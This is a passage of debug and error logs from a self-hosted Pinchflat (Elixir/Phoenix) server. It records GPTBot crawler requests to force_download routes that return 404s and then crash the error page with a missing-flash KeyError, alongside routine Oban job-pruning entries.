"x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260748.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3302/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDtNIXV1b5gSNQAJ3MB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49490}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49490}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260748.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 17:24:29.325 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:39.554 [info] GET /sources/3/media/3301/force_download 17:24:39.555 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1911.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:39.555 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1726.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:39.555 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:24:39.556 [error] #PID<0.260750.0> running PinchflatWeb.Endpoint (connection #PID<0.260749.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3301/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36618}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260750.0>, params: %{}, path_info: ["sources", "3", "media", "3301", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3301/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDtODK1qqF9zQ0AJ3NB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36618}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36618}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260750.0>, params: %{}, path_info: ["sources", "3", "media", "3301", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 17:24:48.611 [info] GET /sources/3/media/3298/force_download 17:24:48.612 [debug] QUERY OK source="settings" db=0.3ms idle=1968.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:48.612 [debug] QUERY OK source="settings" db=0.3ms idle=1969.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:24:48.612 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:24:48.613 [error] #PID<0.260755.0> running PinchflatWeb.Endpoint (connection #PID<0.260754.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41776}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260755.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDtOk6N_vLBX0UAMJtC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41776}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260754.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41776}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260755.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :pho (truncated) 17:24:59.327 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.191 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:16.321 [info] GET /sources/4/media/99281/force_download 17:25:16.322 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1678.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:16.322 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1420.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:16.323 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:25:16.323 [error] #PID<0.260760.0> running PinchflatWeb.Endpoint (connection #PID<0.260759.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/99281/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42866}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260760.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.2"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.2"} ], request_path: "/sources/4/media/99281/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDtQMIxh_GjOFUAJ3QB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42866}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.260759.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42866}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.2", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.260760.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 17:25:29.329 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:59.331 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.192 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:29.333 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:59.335 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.193 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:29.337 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:59.340 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.194 [info] 